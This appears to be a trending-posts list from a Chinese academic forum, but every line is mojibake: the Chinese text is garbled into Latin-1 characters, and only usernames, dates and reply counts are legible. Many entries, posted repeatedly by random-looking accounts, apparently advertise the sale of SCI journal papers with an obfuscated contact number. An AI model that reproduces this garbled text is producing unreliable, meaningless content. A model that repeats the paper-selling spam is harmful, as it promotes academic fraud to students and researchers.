×î¾ßÈËÆøÈÈÌûÍÆ¼ö [²é¿´È«²¿] ×÷Õß »Ø/¿´ ×îºó·¢±í
[»ù½ðÉêÇë] ÌåÖÆÄÚ³¤±²ËµÌåÖÆÄÚ¾ø´ó²¿·ÖÒ»±²×ÓÔڵײ㣬ÈçͬÄãÃÇÒ»Ñù´ó²¿·ÖÆÕͨ½ÌʦæÇÒÊÕÈëµÍ +10 ˲ϢÓîÖæ 2026-02-20 13/650 2026-02-23 11:23 by holypower
[˶²©¼ÒÔ°] ÊÛSCIÒ»ÇøÎÄÕ£¬ÎÒ:8 O5 51O 54,¿ÆÄ¿ÆëÈ«,¿É+¼± +3 8rmuugja8q 2026-02-22 7/350 2026-02-23 09:44 by w4l55oybr1
[¿¼ÑÐ] ÊÛSCIÒ»ÇøÎÄÕ£¬ÎÒ:8 O5 51O 54,¿ÆÄ¿ÆëÈ«,¿É+¼± +3 khieu8v8m0 2026-02-22 8/400 2026-02-23 09:35 by w4l55oybr1
[ÂÛÎÄͶ¸å] ÊÛSCIÒ»ÇøÎÄÕ£¬ÎÒ:8 O5 51O 54,¿ÆÄ¿ÆëÈ«,¿É+¼± +4 khieu8v8m0 2026-02-22 8/400 2026-02-23 09:29 by w4l55oybr1
[¿¼ÑÐ] ÊÛSCIÒ»ÇøÎÄÕ£¬ÎÒ:8 O5 51O 54,¿ÆÄ¿ÆëÈ«,¿É+¼± +5 usprnugpzw 2026-02-21 11/550 2026-02-23 09:24 by w4l55oybr1
[½Ìʦ֮¼Ò] ΪʲôÖйú´óѧ¹¤¿Æ½ÌÊÚÃÇË®ÁËÄÇô¶àËùνµÄ¶¥»á¶¥¿¯£¬µ«»¹ÊÇ×ö²»³öÓîÊ÷»úÆ÷ÈË£¿ +5 »¶ÀÖËÌÒ¶Ýè 2026-02-21 8/400 2026-02-23 09:19 by »¶ÀÖËÌÒ¶Ýè
[ÂÛÎÄͶ¸å] ÊÛSCIÒ»ÇøÎÄÕ£¬ÎÒ:8 O5 51O 54,¿ÆÄ¿ÆëÈ«,¿É+¼± +3 w89i99eaeh 2026-02-22 5/250 2026-02-23 08:04 by w4l55oybr1
[²©ºóÖ®¼Ò] ÊÛSCIÒ»ÇøÎÄÕ£¬ÎÒ:8 O5 51O 54,¿ÆÄ¿ÆëÈ«,¿É+¼± +4 khieu8v8m0 2026-02-22 6/300 2026-02-23 07:59 by w4l55oybr1
[²©ºóÖ®¼Ò] ÊÛSCIÒ»ÇøÎÄÕ£¬ÎÒ:8 O5 51O 54,¿ÆÄ¿ÆëÈ«,¿É+¼± +6 3dfhjxgsh7 2026-02-22 9/450 2026-02-23 07:49 by w4l55oybr1
[¿¼²©] ÊÛSCIÒ»ÇøÎÄÕ£¬ÎÒ:8 O5 51O 54,¿ÆÄ¿ÆëÈ«,¿É+¼± +4 khieu8v8m0 2026-02-22 4/200 2026-02-23 06:46 by jsjzfl
[¹«Åɳö¹ú] ÊÛSCIÒ»ÇøÎÄÕ£¬ÎÒ:8 O5 51O 54,¿ÆÄ¿ÆëÈ«,¿É+¼± +3 khieu8v8m0 2026-02-22 5/250 2026-02-23 06:29 by w4l55oybr1
[¿¼²©] ÊÛSCIÒ»ÇøÎÄÕ£¬ÎÒ:8 O5 51O 54,¿ÆÄ¿ÆëÈ«,¿É+¼± +5 3dfhjxgsh7 2026-02-22 6/300 2026-02-23 02:04 by 5jlh3qtdvx
[½Ìʦ֮¼Ò] °æÃæ·Ñ¸Ã½»Âð +7 Æ»¹ûÔÚÄÄÀï 2026-02-22 8/400 2026-02-22 22:37 by otani
[»ù½ðÉêÇë] ÃæÉÏ¿ÉÒÔ³¬¹ý30Ò³°É£¿ +4 °¢À­¹±aragon 2026-02-22 4/200 2026-02-22 21:22 by ɽÎ÷Ðü¿ÕË¿ÕÐüÎ
[¿¼ÑÐ] ÊÛSCIÒ»ÇøÎÄÕ£¬ÎÒ:8 O5 51O 54,¿ÆÄ¿ÆëÈ«,¿É+¼± +3 3dfhjxgsh7 2026-02-22 4/200 2026-02-22 16:52 by khieu8v8m0
[ÕÒ¹¤×÷] ÊÛSCIÒ»ÇøÎÄÕ£¬ÎÒ:8 O5 51O 54,¿ÆÄ¿ÆëÈ«,¿É+¼± +3 usprnugpzw 2026-02-22 3/150 2026-02-22 16:37 by khieu8v8m0
[¹«Åɳö¹ú] ÊÛSCIÒ»ÇøÎÄÕ£¬ÎÒ:8 O5 51O 54,¿ÆÄ¿ÆëÈ«,¿É+¼± +3 usprnugpzw 2026-02-21 4/200 2026-02-22 16:27 by khieu8v8m0
[»ù½ðÉêÇë] ¡°ÈËÎÄÉç¿Æ¶øÂÛ£¬Ðí¶àѧÊõÑо¿»¹Ã»ÓдﵽÃñ¹úʱÆÚµÄˮƽ¡± +4 ËÕ¶«ÆÂ¶þÊÀ 2026-02-18 5/250 2026-02-22 16:07 by liangep1573
[»ù½ðÉêÇë] ʲôÊÇÈËÒ»Éú×îÖØÒªµÄ£¿ +4 ˲ϢÓîÖæ 2026-02-21 4/200 2026-02-22 11:44 by huagongfeihu
[»ù½ðÉêÇë] ½ñÄê´ºÍíÓм¸¸ö½ÚÄ¿ºÜ²»´í£¬µãÔÞ£¡ +11 ˲ϢÓîÖæ 2026-02-16 12/600 2026-02-21 21:14 by lq493392203
ÐÅÏ¢Ìáʾ
ÇëÌî´¦ÀíÒâ¼û